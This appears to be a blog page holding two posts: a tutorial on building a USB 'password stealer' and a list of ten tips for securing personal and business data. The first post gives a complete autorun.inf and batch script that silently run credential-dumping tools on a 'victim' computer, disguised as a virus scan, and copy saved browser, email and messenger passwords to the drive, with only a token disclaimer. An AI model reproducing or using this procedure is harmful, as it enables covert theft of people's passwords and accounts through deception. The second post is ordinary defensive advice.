Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:

A USB Drive, preferably 2GB+

A Windows computer

MessenPass: Used for recovering passwords from various instant messenger applications.

Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.

IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)

Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.

PasswordFox: Used to fetch passwords & sensitive information from Firefox.

Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive

Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Top Ways To Secure Your Data #SecureData #PasswordProtection #Infosec

If you haven’t taken steps to secure your personal and professional data, consider Data Privacy Day (Jan 28th) as a belated New Year’s resolution. Even if you think of yourself as completely secure already, chances are that you’ll find yourself lacking on at least one or two of the following 10 ways to safeguard your information.

1. Password Protection. Everything that you use has a password, right? And it’s been changed in the past 3-4 months? Your PC, your smartphone, your router, your accounts, your screensaver? You say yes, but you’re secretly saying “well, except for x which doesn’t need one”. No, x needs one too. If it exists, someone is going to pick up/ sit down at/ try to hack into it. And even if it does have a password, now’s the time to change it, because six months/ one year/ five years is too long.

2. Password Optimization. So you know enough to change your default passwords. You know that {password” or “123456” isn’t going to cut it. But you may not be out of the water if you’re using an actual word or phrase for your password — try a random collection of upper- case letter, lower-case letters, numbers, and special characters. Several online tools such as strong password generator.com will do the hard work for you.

3. Password Differentiation. I hope you had fun generating your random password, because you’re going to want to do it again for each and every device and account that you have. There’s no excuse for using the same password to log into your bank account as you use to log into Facebook. If anybody gets the one, they’ll automatically have all of them — it’s called damage control.

4. Insecurity Question. Of course, those backup security questions will be there to give you a little help if that randomly-generated password eludes you. They’ll also help someone else steal it from you. So how about making it harder for them, by choosing a question and answer that nobody in their right mind would choose? Microsoft

Researcher Danah Boyd offers some tips to get you started.

5. Email Bombs. Many of the worst data breaches of the past year started with a simple  phishing strategy. You’ve heard this all before, but many of you didn’t listen, so here we go again: don’t open attachments from strangers, don’t click links in emails from strangers. And because contact lists are the first things to get exploited,“strangers” means pretty much anybody, unless you’ve got a very good reason to expect and trust attachments and links from them.

Don’t forward emails to and from your different accounts (especially between Gmail/ Hotmail/ Yahoo Mail and enterprise email servers). Crank up the spam/ junk mail controls and encrypt as much as possible.

6. The Uncarved Block. You’re leaving your data in more places than ever these days, please try to wipe before you flush. Whether it’s that amusing Lego zip drive that you let your friend borrow, or last year’s iPhone that you trade in to your mobile provider, take the time to erase, overwrite, or otherwise remove any trace of your previous ownership — it can come back to haunt you. Re-format anything that has a drive before you let go of it.

7. The Soft Touch. Personally, I hate security software. Anti-virus applications tend to hog resources, launch on startup, run in the background, update themselves automatically, and generally do all of the things that I specifically try to prevent my applications from doing. But since they also protect me from becoming infested with malware, I learn to live with it.

Without playing favorites, allow me to direct you to a good round-up of the best anti-malware tools.

8. Keep the Home Fires Burning.

Speaking of smart things that I hate to install and keep running, a good firewall is one of your best friends. Undoubtedly you have one — in your router, server, and/ or operating system. Have you closed all open ports? Have you thought to check the firewall’s logs? The firewall can tell you if you’re getting poked and prodded by would-be intruders, giving you notice to tighten your security measures even more.

9. Remote Control. Your operating system, router, and even your smartphone may actually have some sort of remote access turned on by default. You may not know this fact, but I’ll guarantee that would-be infiltrators do. Make it your business to hunt down every possible remote administration setting and process, and turn them off — otherwise, you’re potentially at the mercy of anyone with an Internet connection.

10. Managing Risk. Are you running a company, or in charge of the company network? You not only have to close your own holes, but also keep company workers from creating new ones. Establish best practices, develop an Acceptable Use Policy, and ensure that everyone is fully trained. Deactivate accounts as soon as employees become ex- employees, and optimize access credentials to ride that fine line between security and creating more work for yourself — such as constantly responding to user confusion and complaints.